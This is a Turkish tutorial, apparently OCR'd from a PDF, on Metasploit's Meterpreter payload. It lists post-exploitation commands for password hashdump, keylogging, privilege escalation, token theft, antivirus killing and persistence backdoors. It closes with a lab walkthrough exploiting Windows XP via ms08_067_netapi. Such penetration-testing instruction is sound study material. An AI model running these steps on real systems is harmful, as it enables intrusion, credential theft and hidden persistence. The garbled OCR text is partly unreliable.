Meterpreter Nedir?
Meterpreter, Metasploit Framework’ii iizerinde bulunan ve kullanimi en yogun olan

payload’lardan biridir.

Meterpreter Komutlari
Metasploit ile hedef sistem exploit edildikten sonra payload ¢alistiginda komut satirina

meterpreter gelir:

Bu payload satir1 geldiginde, yani payload uzak sistemde calistiginda girilebilecek komutlar ve

alinabilecek sonuclar asagida verilmistir:

a) Shell

Kars1 sistemin komut satirin1 komut satirimiza getirtir.

b) hashdump

Sifre hash’lerini otomatikmen elde etmeye yarar.




c) pwd

Meterpreter payload’unun uzak sistemde yerine gectigi servisin dizinini verir.

meterpre

Sistemi exploit ettigimizde Meterpreter payload’u uzak sistemdeki bir servisin
yerine gecer ve calisir. Gorev yoneticisinde Meterpreter payload’u yerine gectigi
servisin ad1 seklinde gortiniir. Diyelim ki pwd komutunu girdigimizde Meterpreter
payload’unun Internet Explorer servisi yerine gectigini gordiik. Yani gorev
yoneticisinde Meterpreter iexplore.exe olarak goriiniiyor olsun. Bu durumda
derhal Meterpreter payload’unu daha saglam bir servise tasimamiz gerekir. Ciinkii
uzak sistemdeki kurban ne zaman Internet Explorer tarayicisini kapatirsa o zaman
Meterpreter payload’umuzun ¢alismasi sonlanir ve uzak sistemi kaybetmis oluruz.
Meterpreter payload’unu uzun émiirlii bir servise tasimak icin 6ncelikle ps
komutu girilir ve siralanan uzak sistemdeki tiim process’lerden uzun 6miirlii

olaninin pid’si not alinir.

vmacthlp.exe

Mesela svchost.exe ya da masaiistii grafiklerini ¢aligtiran explorer.exe segilebilir.

Diyelim ki explorer.exe secildi (pid = 1709). Ardindan migrate 1709 ile



Meterpreter bilgisayar kapanana kadar acik duracak olan explorer.exe’ye

tasinmis olur.

d) screenshot

screenshot komutu kullanilir kullanilmaz exploit edilen sistemden ekran
gortintiisii alinir ve bizim sistemimizdeki /home/root dizinine kaydedilir.

Asagida screenshot komutu ile alinmis resmi ve onun asagisinda komutun

kullaniligin1 gérmektesiniz.
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Screenshot almak komut satirindan bilgi almaktan bazen daha elverisli olabilir.

Mesela uzak sistemin kullandig antiviriisii 6grenebiliriz.

e) vnc
run vnc komutu ile ekranimizda vnc penceresi agilir. Bu pencere uzak sistemin
masaiistiinii goriintiilemektedir. Bu pencereden yapacagimiz fare hareketleri,
tiklama hareketleri, dosya olusturmalar vs... birebir olarak uzak sistemde

meydana gelir. (NOT: Bu komut Downloads/kali-1.0.4-amdx64.iso'da calist1)

Ta direct input to this vitual machine, press Cirl-G.
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All Eragrams D

P keylogrecorder (Capturing Keystrokes)
Hedef sistemde keylogger baglatir. Yani hedef sistemde kurbanin bastig1 tuslari
Meterpreter ile gorebiliriz. Eger sadece Internet Explorer tarayicisinda tuslanan
karakterleri sniff’lemek istersek bu durumda Meterpreter payload’unu
iexplorer.exe servisine migrate etmemiz gerekir. Eger kurban sistem oturumunu

acarkenki tugladig sifreyi sniff’lemek istersek o zaman Meterpreter payload’unu



winlogon.exe servisine migrate etmemiz gerekir. Eger sistemin her noktasinda
tuslanan karakterleri gérmek istersek o zaman Meterpreter payload’unu
explorer.exe servisine migrate etmemiz gerekir. Tuglanan karakterler Kali’nin
/root/.msf4/logs/script/keylogrecorder/ dizindeki olusturulacak text dosyasina

sniffing islemi sonlandirildiginda kaydedilecektir.

Keylogger islemine baslamak i¢in diyelim ki explorer.exe'ye payload'umuzu
tasimak istedik. Bu durumda 6éncelikle hedef sistemdeki process'leri ve pid'lerini
meterpreter {izerinden ps komutu ile siralayalim ki explorer.exe'nin pid'sini
ogrenebilelim. explorer.exe'nin pid'sinin varsayalim ki 1708 oldugunu 6grendik.
Bunun iizerine agagidaki resmin sol kismindaki gibi migrate 1708 denerek
meterpreter payload’unu 1708 nolu pid’ye sahip olan explorer.exe’ye migrate
etmis oluruz. Migrate islemi sonrasi run keylogrecorder komutu ile sniffing islemi
sol resimden de goriilebilecegi gibi baglatilir. Sniffing islemi CTRL+C ile

sonlandirildiktan sonra resmin sag tarafindaki gibi sniff’lenen verinin

kaydedildigi dosya cat komututu ile okunabilir ve kritik veriler elde edilebilir.

g) getsystem (Privilege Escalation)
Meterpreter’i farkh farkli process’lere migrate ederek sistem tizerindeki yetkimizi
degistirebiliriz. Asagidaki resimde getuid komutu ile yerine gecilen process’in
sistem tizerindeki yetkisi dgrenilir. Ikinci satirda sistemdeki yetkimizin SYSTEM

oldugu goriiliir.



o that of A0eal s

T AUTHORITY

Ardindan migrate islemi sonrasi tekrar getuid kullanildiginda yetkinin
ADMINISTRATOR’a diistiigii goriiliir. Daha sonra ise getsystem komutu ile
privilege escalation yapilarak tekrar SYSTEM yetkisine ulasilir. Zira SYSTEM’a
ulasip ulasmadigimizi yukaridaki resimde girilen son komut olan getuid komutu

ile tekrar 68renebiliriz.

h) steal_token (Privilege Escalation)
Privilege Escalation konusunda bir diger yontem uzak sistemdeki belirli bir
process’ten token calarak bir account’u taklit etmeye dayanir. Bunun igin

incognito (Tebdil-i Kiyafet) uzantisin1 Meterpreter’a dahil etmemiz gerekir.

eterpreter » use 1ncognito

L oading extension incognito...success.

Privilege Escalation farkini gozlemlemek adina asagidaki resimde ilk énce var
olan yetki diizeyi getuid komutu ile 6grenilir: SYSTEM. Daha sonra steal_token
456 komutu ile privilege escalation yapilir. Bazen bu komut hata verebilir, fakat

arkaplanda islem basaril bir sekilde calisir.



eal token: Operation failed:

0-4D3E88AN

checkvmm (Getting Information From Remote Host)
checkvm komutu uzak sistemin virtual machine’mi yoksa reel bir makine mi olup
olmadigin saptamamizi saglar. Asagidaki resimde ilk olarak run komutu ile
nelerin calistirilabilecegine bakilmigstir, ardindan siralanan liste icerisindeki

checkvm run checkvm komutu ile kullanilmigtir.




Yukaridaki resmin en altinda gorebileceginiz iizere uzak sistemin VMware virtual
machine oldugu anlasilmistir. Asagidaki resimde ise uzak sistemin reel bir makine

oldugunu gérmektesiniz.

j) winenum (Getting Information From Remote Host)
winenum komutu ile uzak sistemin her tiirlii ps bilgisini, environment
variable’larini, kullanici hesaplarini ve gruplarini, network interface’lerini, route

tablosunu ve arp entry’lerini edinebiliriz.

Asagidaki resimin solunda 6nce run win yazilip TAB tusuna basilarak win ile
baglayan komutlar listelenmistir. Ardindan run winenum komutu ENTER’lanarak
uzak sistemden bilgi toplama siireci baglatilmistir. Resmin sag tarafinda ise
toplanan bilgilerin ayr ayr1 dosyalandig1 dizin igerigi s komutu ile siralanmustir.
Daha sonra ise iclerinden uzak sistemin network interface’iyle alakal veri iceren
txt dosyasi cat komutu ile ekrana yansitilmistir. Béylece karsi sistemin

host’larinin yerel IP’lerini 6grenmis oluruz.

File Edit View Terminal Help
F 1s / i f i i i A'26111118

w_config. txt




k) scraper
Network paylasimlari, password hash’leri, registry hive’lar1 dahil olmak tizere
karsi sistemden arzulanan tiim hersey scraper komutu ile toplanabilir
(harvest’lanabilir). Karsi sistemden alinip bizim sistemimizde depolanan tiim bu

bilgiler /root/.msf4/logs/scripts/scraper dizininde dosyalanir. Komut soyle caligir:

HKCU
HECU {C:\WINDQWS\TEME: ppAE ch 0 iEeg)

) killav
Si1zma islemi sirasinda en biiyiik sorun uzak sistemdeki Antivirus yazilimidir.
killav script’i ile uzak sistemdeki Antivirus process’ini durdurabilir ve
sonlandirabiliriz. Ancak killav script’i Antivirus’ten kacis icin kesin ¢6ziim
degildir. Yine de deneme maksadiyla kullanilabilir ve eger basarili olunursa

sizmanin siddetini artirma sirasinda ¢ikabilecek sikintilardan bizi kurtarabilir.

Yukaridaki resimde calistirilan killav script’i hicbir antivirus yazilimi
bulamamustir. Eger uzak sistemde bir Antivirus yazilimi olsaydi bircok eslesen

process siralanirdi ve sonra bu process’ler 6ldiiriilmeye calisilirdi.



m) persistence
persistence script’i uzak sistemde kalic1 olmamizi saglar. Yani uzak sistem

kendini kapatsa bile sonradan acgtiginda otomatik olarak Meterpreter payload’unu

baglatmaya yarar.

Yukaridaki resimde run persistence komutu ile XP makinesine Meterpreter
oturumunu otomatik baglattiracak script’i yiiklemis olduk. Komutun
parametrelerine gelecek olursak -X parametresi sistem reboot edildiginde dahi
Meterpreter’1 baslat emrini verir. -i parametresi uzak sisteme yiikledigimiz
script’in tetiklenmesi icin gereken zaman araligini, -p parametresi Meterpreter
session’1inin1 yonetecek olan host’un, yani bizim makinemizin port numarasini, -r

ise yine bizim makinemizin I[P numarasini argiiman olarak alir.

n) getcountermeasure
Antiviriis, Firewall gibi giivenlik programlarini devre dis1 birakmak igin killav

gibi bir script’tir.




0) getgui
Hedef sistem {izerinde RDP (Remote Desktop Protocol) servisinin portunu

etkinlestirmek icin kullanilir.

p) gettelnet

Hedef iizerinde telnet servisini aktiflestirmek icin kullanilir.

q) Screenspy

Uzaktaki hedef makinadan ekran goriintiisii almak icin kullanilir.

Diger Komutlar

run get_application_list : Yiikli uygulamalarin listesini almak igin kullanilir.
run metsvc : Kaha arka kapi birakmak icin kullanilir.
run Hostedit : Windows iizerindeki host dosyasin diizenlemek icin kullanilir.

run Get local subnets : Hedefin yerel ag maskesini almak icin kullanilir.




Bu komutlarin dahasini bir sistemi exploit ettikten sonra komut satirina gelen meterpreter sonrasi

help komutunu yazarak 6grenebilirsin.

meterpreter > help

Veyahut Tez Raporu/Literatiir Taramasl/Incelenmis Makaleler/BGA/Pentest ve Metasploit.pdf
dokiimaninin 196-208 sayfalarindan 6grenebilirsin.

Kaynak: https://www.exploit-db.com/docs/18229.pdf

Kaynak: http://www.unluagyol.com/2013/02/yeni-baslayanlar-icin-meterpreter.html

Hedef Sisteme Si1zma ve Meterpreter Kullanma

Gereksinimler
Eski Kali (kali-linux-1.0.4-amd64.iso)
Windows XP (Dandik)

Kali'deki Metasploit Framework’tinii kullanarak Windows XP (Dandik) sistemine sizalim ve
meterpreter payload’unu pratikte gozlemleyelim. Oncelikle Windows XP (Dandik) sisteminin IP’sini
ipconfig yazarak 6grenelim: 192.168.2.7 Bu IP adresini nmap ile taratmak icin kullanacagiz. Boylece
hedef sistemin acik servislerinden isimize yarayani secip Windows XP (Dandik) 'te ilgili exploit’i
kullanacagiz.

> nmap 192.168.2.7 // WinXP'nin IP'si Taraniyor.
Output:
PORT STATE SERVICE

445/tcp open Microsoft-ds


https://www.exploit-db.com/docs/18229.pdf
http://www.unluagyol.com/2013/02/yeni-baslayanlar-icin-meterpreter.html

445 nolu portta Microsoft dosya paylasim servisinin ¢alistigi 6grenilir. Windows XP (Dandik) 'te bu
servis kurulu oldugu versiyonu geregi agiga sahiptir. Bu nedenle Metasploit Framework’iinde bu
servisin acigini kullanan ms08_067_netapi exploit'ini kullanabiliriz.

Simdi metasploit’i baglatalim:

> msfconsole

Ardindan belirledigimiz exploit’i secelim ve set edilecek parametreleri set edelim.

msf > use exploit/windows/smb/ms08 _067_netapi
mst exploit(ms@8_067_netapi) > set RHOST 192.168.2.7
mst exploit(ms@8_067_netapi) > set LHOST 192.168.2.3

Simdi Meterpreter payload’unu exploit'in sirtina yukluyelim.

msf exploit(ms08_067_netapi)> set PAYLOAD windows/meterpreter/bind_tcp

Output:

Payload => windows/meterpreter/bind_tcp

Ardindan exploit’i calistiralim.

msf > exploit

Bdoylelikle meterpreter payload’'u komut satirimiza gelecektir.

meterpreter > ...

Bu noktadan sonra artik meterpreter komutlari girilerek birgok efektif sey dokiimanin basinda
anlatildigi gibi yapilabilir.

Kaynak: https://www.exploit-db.com/docs/18229.pdf
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